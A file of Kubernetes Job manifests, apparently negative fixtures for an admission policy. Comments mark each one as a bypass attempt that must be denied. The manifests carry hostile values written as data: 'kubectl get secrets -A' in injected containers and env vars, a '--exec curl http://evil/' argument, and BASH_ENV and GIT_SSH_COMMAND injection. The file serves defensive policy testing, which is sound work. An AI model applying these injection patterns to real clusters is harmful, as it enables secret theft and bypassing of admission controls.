kind: Job
metadata:
name: evil-initcontainer
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
initContainers:
- name: sneak
image: docker.io/library/alpine:latest
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
securityContext:
privileged: true
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# The committed clone entrypoint, but with `args` appended — i.e. the entrypoint used as a
# vehicle for caller-supplied code. "No args" is the whole property that makes a pinned
# command mean anything, so this must be DENIED even though image and command are correct.
apiVersion: batch/v1
kind: Job
metadata:
name: initcontainer-with-args
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
initContainers:
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/conformance-clone"]
args: ["--exec", "curl http://evil/"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# A SECOND init container beside the legitimate clone step. A Kyverno array `pattern` would
# admit this ("at least one element matches"), which is why the rule uses `deny` conditions
# and caps the count. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: second-initcontainer
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
initContainers:
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/conformance-clone"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
- name: also-me
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# `env` was the third instance of the same mistake. `command` is pinned to ["./run.sh"], so the
# injection moves to an env var bash itself honours: BASH_ENV is sourced before a non-interactive
# script runs. Everything else here is the committed shape. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: injected-env
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2,l3"]
env:
- name: CONF_ARTIFACTS
value: /results
- name: BASH_ENV
value: /workspace/src/conformance/_pwned
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# envFrom injects a whole Secret/ConfigMap as env, and its KEYS are nowhere in the Job — so it
# would make the env-name allowlist unenforceable by inspection. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: envfrom-whole-secret
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2,l3"]
envFrom:
- secretRef:
name: anything-in-this-namespace
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# The same, on the init container: its env names are allowlisted too, and the clone entrypoint
# is the thing that reads them. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: injected-initcontainer-env
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
initContainers:
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/conformance-clone"]
env:
- name: CONFORMANCE_GIT_SHA
value: "0123456789abcdef0123456789abcdef01234567"
- name: GIT_SSH_COMMAND
value: "sh -c 'kubectl get secrets -A'"
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2,l3"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# `ephemeralContainers` — the third container list on a PodSpec, and as unread as
# `initContainers` was. Upstream k8s is BELIEVED to reject this field in a pod template, so
# this case may be unreachable in practice; the rule and this fixture exist because
# "probably rejected upstream" is not a boundary. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: evil-ephemeral-container
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
ephemeralContainers:
- name: debugger
image: docker.io/library/alpine:latest
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}